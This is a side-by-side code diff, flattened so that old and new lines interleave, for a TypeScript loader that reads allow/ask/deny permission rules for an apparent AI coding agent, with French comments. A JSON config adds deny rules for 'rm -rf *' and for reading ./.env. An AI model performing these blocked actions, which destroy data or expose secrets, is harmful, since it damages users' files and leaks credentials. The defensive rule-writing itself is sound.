return Array.isArray(v) ? v.filter((x): x is string => typeof x === "string") : []; * Fichiers qui peuvent définir les permissions : celui de l'utilisateur (~/.maia/settings.json) et celui du dossier
* de lancement (./.maia/settings.json). Le fichier du dossier parent n'est PAS pris en compte.
*/
export function settingsFiles(cwd: string, homeDir: string): string[] {
const paths = [homeDir, cwd].map((d) => join(resolve(d), ".maia", "settings.json"));
return [...new Set(paths)];
} }
/** /**
* Fusionne les settings des dossiers .claude, du plus général au plus spécifique * Lit la propriété `permissions` ({ allow?, ask?, deny? }, chacune une liste de règles) de chaque fichier.
* (settings.json puis settings.local.json dans chaque dossier). Les listes de règles * Les listes des deux fichiers s'additionnent. Fichier absent : normal. JSON invalide, propriété ou règle
* s'additionnent ; pour `env`, la dernière valeur l'emporte. * invalide : avertissement, le reste est conservé.
*/ */
export async function loadSettings( export async function loadPermissionSettings(
claudeDirs: string[], cwd: string,
): Promise<{ settings: ClaudeSettings; warnings: string[] }> { homeDir: string,
const settings: ClaudeSettings = { ): Promise<{ settings: PermissionSettings; warnings: string[] }> {
permissions: { allow: [], deny: [], ask: [] }, const settings: PermissionSettings = { rules: { allow: [], ask: [], deny: [] }, files: [] };
env: {},
files: [],
};
const warnings: string[] = []; const warnings: string[] = [];
for (const dir of claudeDirs) { for (const path of settingsFiles(cwd, homeDir)) {
for (const name of SETTINGS_FILES) {
const path = join(dir, name);
let raw: string; let raw: string;
try { try {
raw = await readFile(path, "utf8"); raw = await readFile(path, "utf8");
} catch { } catch {
continue; // absent : normal continue;
} }
let json: { permissions?: Record<string, unknown>; env?: Record<string, unknown> }; let json: unknown;
try { try {
json = JSON.parse(raw); json = JSON.parse(raw);
} catch (err) { } catch (err) {
warnings.push(`${path} ignoré : JSON invalide (${(err as Error).message})`); warnings.push(`${path} : JSON invalide, permissions ignorées (${(err as Error).message})`);
continue; continue;
} }
settings.files.push(path); const perms = (json as { permissions?: unknown } | null)?.permissions;
if (perms === undefined) continue;
for (const key of ["allow", "deny", "ask"] as const) { if (typeof perms !== "object" || perms === null || Array.isArray(perms)) {
settings.permissions[key].push(...strings(json.permissions?.[key])); warnings.push(`${path} : "permissions" doit être un objet { "allow": [...], "ask": [...], "deny": [...] }`);
} continue;
for (const [k, v] of Object.entries(json.env ?? {})) {
if (typeof v === "string" || typeof v === "number" || typeof v === "boolean") {
settings.env[k] = String(v);
} }
const counts = { allow: 0, ask: 0, deny: 0 };
for (const kind of KINDS) {
const list = (perms as Record<string, unknown>)[kind];
if (list === undefined) continue; // les trois types sont facultatifs
if (!Array.isArray(list)) {
warnings.push(`${path} : permissions.${kind} doit être une liste de règles`);
continue;
}
for (const entry of list) {
if (typeof entry !== "string" || !RULE_SYNTAX.test(entry.trim())) {
warnings.push(`${path} : règle ${kind} invalide ignorée : ${JSON.stringify(entry)} (format attendu : Outil ou Outil(motif))`);
continue;
}
settings.rules[kind].push(entry.trim());
counts[kind]++;
} }
} }
settings.files.push({ path, ...counts });
} }
for (const key of ["allow", "deny", "ask"] as const) { for (const kind of KINDS) settings.rules[kind] = [...new Set(settings.rules[kind])];
settings.permissions[key] = [...new Set(settings.permissions[key])];
}
return { settings, warnings }; return { settings, warnings };
} }

View file

@ -1,5 +1,10 @@
{ {
"LiteLLM_URL": "http://localhost:4000", "LiteLLM_URL": "http://localhost:4000",
"OpenAI_EndPoint": "/v1/chat/completions", "OpenAI_EndPoint": "/v1/chat/completions",
"LiteLLM_Models": "/v1/models" "LiteLLM_Models": "/v1/models",
"permissions": {
"allow": ["Read", "Glob", "Grep", "TodoWrite", "CurrentModel", "Bash(git status)", "Bash(git diff *)"],
"ask": ["Bash(git push *)"],
"deny": ["Read(./.env)", "Bash(rm -rf *)"]
}
} }